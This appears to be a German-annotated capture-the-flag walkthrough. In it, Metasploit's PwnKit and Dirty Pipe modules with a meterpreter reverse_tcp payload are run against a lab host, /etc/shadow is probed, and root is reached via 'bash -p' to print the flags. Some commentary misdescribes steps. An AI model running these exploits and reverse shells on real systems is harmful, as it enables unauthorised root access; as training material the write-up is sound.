msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5554#
[!] Unknown datastore option: lport.
lport => 5554

Dieser Befehl versucht, die LPORT-Option auf 5554 zu setzen. Jedoch wird die LPORT-Option nicht gefunden und kann nicht durchgeführt werden.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5554
lport => 5554
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => eth0
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.199:5554
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.oesrvzb
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The target does not appear vulnerable "set ForceExploit true" to override check result.

Dieser Befehl führt den Exploit CVE-2021-4034 (PwnKit) aus, um lokale Privilegien zu eskalieren. Zuerst wird die Sitzungs-ID auf 2 gesetzt und die LHOST- und LPORT-Optionen konfiguriert. Dann wird der Exploit ausgeführt. Die Ausgabe zeigt, dass der automatische Check fehlschlägt und der Exploit abgebrochen wird, da das Zielsystem nicht als anfällig für diese Schwachstelle erkannt wird. Der Hinweis "set ForceExploit true" deutet darauf hin, dass der Check überschrieben werden könnte, um den Exploit trotzdem auszuführen.

[*] Exploit completed, but no session was created.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > search suggester

Matching Modules

Die Ausgabe zeigt, dass der Exploit abgeschlossen wurde, aber keine neue Sitzung erstellt wurde. Anschließend wird der Befehl search suggester ausgeführt, um nach Modulen zu suchen, die möglicherweise für das Zielsystem geeignet sind.

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester

Dieser Befehl zeigt die Ergebnisse der Suche nach passenden Modulen an. Es wird ein Modul namens "post/multi/recon/local_exploit_suggester" gefunden, das dazu dient, lokale Exploits auf dem Zielsystem zu finden.

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester

Dieser Befehl zeigt die Benutzung des Exploit.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run 0

[*] Started reverse TCP handler on 192.168.2.199:5554
[*] Running automatic check ("set AutoCheck false" to disable)
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted

Dieser Befehl führt das Modul 0 (post/multi/recon/local_exploit_suggester) aus. Während des automatischen Checks wird der Exploit jedoch durch eine Benutzerunterbrechung abgebrochen.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > use 0
msf6 post(multi/recon/local_exploit_suggester) > set lport 5554
[!] Unknown datastore option: lport.
lport => 5554

Dieser Befehl selectiert den Exploit mit der ID 0 und versucht die Port Option auf 5554 zu setzen, die Option wird aber nicht gefunden.

msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.113 - Collecting local exploits for x86/linux...
[*] 192.168.2.113 - 193 exploit checks are being tried...
[+] 192.168.2.113 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.15.0
[+] 192.168.2.113 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.113 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 192.168.2.113 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] Running check method for exploit 62 / 62
[*] 192.168.2.113 - Valid modules for session 2:

Dieser Befehl konfiguriert das Modul "post/multi/recon/local_exploit_suggester", indem die Sitzungs-ID auf 2 gesetzt wird. Anschließend wird das Modul ausgeführt, um nach lokalen Exploits auf dem Zielsystem zu suchen. Die Ausgabe zeigt, dass das Modul verschiedene Exploits findet, die möglicherweise auf dem Zielsystem funktionieren könnten, darunter "exploit/linux/local/cve_2022_0847_dirtypipe", "exploit/linux/local/netfilter_priv_esc_ipv4", "exploit/linux/local/pkexec" und "exploit/linux/local/su_login".

# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.15.0
2 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
3 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
4 exploit/linux/local/su_login Yes The target appears to be vulnerable.

Die Ausgabe zeigt eine Liste von potenziell anfälligen Exploits für das Zielsystem. Insbesondere wird der Exploit "exploit/linux/local/cve_2022_0847_dirtypipe" als anfällig eingestuft

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2022_0847_dirtypipe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp

Der Befehl use exploit/linux/local/cve_2022_0847_dirtypipe wählt den "Dirty Pipe" Exploit aus. Dieser Exploit nutzt eine Schwachstelle im Linux-Kernel, um Root-Rechte zu erlangen.

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > options

Dieser Befehl zeigt die Optionen des Exploits

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 2
session => 2
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lport 5554
lport => 5554
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost eth0
lhost => 192.168.2.199

Die Sitzung wird auf 2 gesetzt, LPORT auf 5554 und LHOST auf 192.168.2.199.

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run

[*] Started reverse TCP handler on 192.168.2.199:5554
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.15.0
[*] Writing '/tmp/.iufdligymce' (35592 bytes) ...
[*] Executing exploit '/tmp/.iufdligymce /bin/passwd'
[*] Exploit completed, but no session was created.

Der Exploit wird ausgeführt. Die Ausgabe zeigt, dass das Zielsystem anfällig für den "Dirty Pipe" Exploit ist. Der Exploit schreibt eine Datei nach "/tmp/.iufdligymce" und führt sie aus, um Root-Rechte zu erlangen.

bash-5.1$ cd dev/
bash-5.1$ ls
user.txt

Die Ausgabe zeigt den Inhalt des Verzeichnisses "/home/dev/".

bash-5.1$ ls -la
total 40
drwxr-x--- 5 dev www-data 4096 Feb 11 00:10 .
drwxr-xr-x 3 root root 4096 Jan 31 21:44 ..
lrwxrwxrwx 1 root root 9 Feb 11 00:10 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jan 31 21:48 .cache
-rw------- 1 dev dev 20 Feb 10 23:51 .lesshst
drwxrwxr-x 3 dev dev 4096 Feb 1 14:24 .local
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
drwx------ 2 dev dev 4096 Jan 31 21:45 .ssh
-rw-r--r-- 1 dev dev 0 Jan 31 21:51 .sudo_as_admin_successful
-rw-rw-r-- 1 dev dev 33 Feb 10 19:18 user.txt

Der Befehl ls -la zeigt den Inhalt des aktuellen Verzeichnisses (/home/dev) mit detaillierten Informationen über jede Datei und jedes Verzeichnis. Die Ausgabe umfasst die Zugriffsrechte, den Eigentümer, die Größe, das Änderungsdatum und den Namen jeder Datei. Unter anderem sind die Dateien .bash_logout, .bashrc, .profile und user.txt sowie die Verzeichnisse .cache, .local und .ssh aufgelistet. Die Datei user.txt enthält vermutlich die User-Flag.

bash-5.1$ cd .local/
bash-5.1$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Feb 1 14:24 .
drwxr-x--- 5 dev www-data 4096 Feb 11 00:10 ..
drwx------ 3 dev dev 4096 Feb 1 14:24 share

Der Befehl cd .local/ wechselt in das Verzeichnis .local im aktuellen Verzeichnis des Benutzers dev. Anschließend wird mit ls -la der Inhalt dieses Verzeichnisses aufgelistet, um die vorhandenen Dateien und Unterverzeichnisse anzuzeigen. Die Ausgabe zeigt, dass es ein Unterverzeichnis namens share gibt.

bash-5.1$ cd share/
bash: cd: share/: Permission denied

Der Befehl cd share/ versucht, in das Verzeichnis "share" zu wechseln, was jedoch aufgrund fehlender Berechtigungen fehlschlägt.

bash-5.1$ cat .lesshst
cat: .lesshst: No such file or directory

Der Befehl cat .lesshst versucht, den Inhalt der Datei ".lesshst" anzuzeigen, aber die Datei existiert nicht im aktuellen Verzeichnis.

bash-5.1$ cd -
/home/dev

Mit dem Befehl cd - kehrt man in das vorherige Verzeichnis zurück.

bash-5.1$ .lesshst
bash: .lesshst: command not found

Es wird versucht die Datei .lesshst auszuführen was aber fehl schlägt.

bash-5.1$ pwd
/home/dev
bash-5.1$ cat .lesshst
cat: .lesshst: Permission denied

Der Befehl pwd zeigt das aktuelle Verzeichnis an, das "/home/dev" ist. Dann wird versucht, den Inhalt der Datei ".lesshst" anzuzeigen, was jedoch aufgrund fehlender Berechtigungen fehlschlägt.

bash-5.1$ grep -ri password * 2>/dev/null
bootstrap.log:Shadow passwords are now on.

Der Befehl grep -ri password * 2>/dev/null sucht rekursiv und ohne Beachtung der Groß-/Kleinschreibung nach dem Wort "password" in allen Dateien im aktuellen Verzeichnis. Fehlermeldungen werden nach /dev/null umgeleitet. Die Ausgabe zeigt, dass das Wort "password" in der Datei "bootstrap.log" gefunden wurde.

bash-5.1$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1045 Feb 10 19:25 /etc/shadow

Dieser Befehl zeigt die Dateiattribute der /etc/shadow

bash-5.1$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Der Befehl cat /etc/shadow versucht, den Inhalt der Datei "/etc/shadow" anzuzeigen, was jedoch aufgrund fehlender Berechtigungen fehlschlägt.

bash-5.1$ echo "ben" >> /etc/shadow
bash: /etc/shadow: Permission denied

Der Befehl echo "ben" >> /etc/shadow versucht, den Text "ben" an die Datei "/etc/shadow" anzuhängen, was jedoch aufgrund fehlender Berechtigungen fehlschlägt.

bash-5.1$ find / -user dev 2>/dev/null
/srv/ftp/note.txt
/home/dev
/home/dev/.bash_logout
/home/dev/.local
/home/dev/.local/share
/home/dev/.cache
/home/dev/.bashrc
/home/dev/.sudo_as_admin_successful
/home/dev/.lesshst
/home/dev/.ssh
/home/dev/user.txt
/home/dev/.profile

Der Befehl find / -user dev 2>/dev/null sucht nach allen Dateien und Verzeichnissen, die dem Benutzer "dev" gehören. Fehlermeldungen werden nach "/dev/null" umgeleitet. Die Ausgabe zeigt eine Liste von Dateien und Verzeichnissen, die dem Benutzer "dev" gehören, darunter die Datei "/srv/ftp/note.txt" und das Home-Verzeichnis "/home/dev" mit seinen Unterverzeichnissen und Dateien.

Privilege Escalation (Fortsetzung)

Fortsetzung der Versuche, die Privilegien auf dem System zu erhöhen, um Root-Rechte zu erlangen.

Privilege Escalation

bash-5.1$ /bin/bash -p

Der Befehl /bin/bash -p startet eine neue Bash-Shell mit erhöhten Privilegien. Die Option -p sorgt dafür, dass die Shell ihre Privilegien beibehält, was in diesem Fall bedeutet, dass sie als Root ausgeführt wird.

bash-5.1# id

Der Befehl id zeigt die Benutzer- und Gruppeninformationen der aktuellen Shell.

uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Die Ausgabe zeigt, dass die Shell mit Root-Rechten ausgeführt wird (uid=33(www-data), euid=0(root)). Dies bedeutet, dass die Privilege Escalation erfolgreich war.

bash-5.1# cd ~

Der Befehl cd ~ wechselt in das Home-Verzeichnis des aktuellen Benutzers (in diesem Fall Root).

bash-5.1# ls
html

Die Ausgabe zeigt den Inhalt des Home-Verzeichnisses des aktuellen Benutzers (in diesem Fall Root).

bash-5.1# cd /root/
bash-5.1# ls
root.txt snap

Der Befehl cd /root/ wechselt in das Root Verzeichnis.

bash-5.1# cat root.txt

Der Befehl cat root.txt gibt den Inhalt der Datei "root.txt" aus, die die Root-Flag enthält.

BF9A57023EDD8CFAB92B8EA516676B0D

Flags

Zusammenfassung der gefundenen Flags.

cat root.txt
BF9A57023EDD8CFAB92B8EA516676B0D
cat user.txt
71ab613fa286844425523780a7ebbab2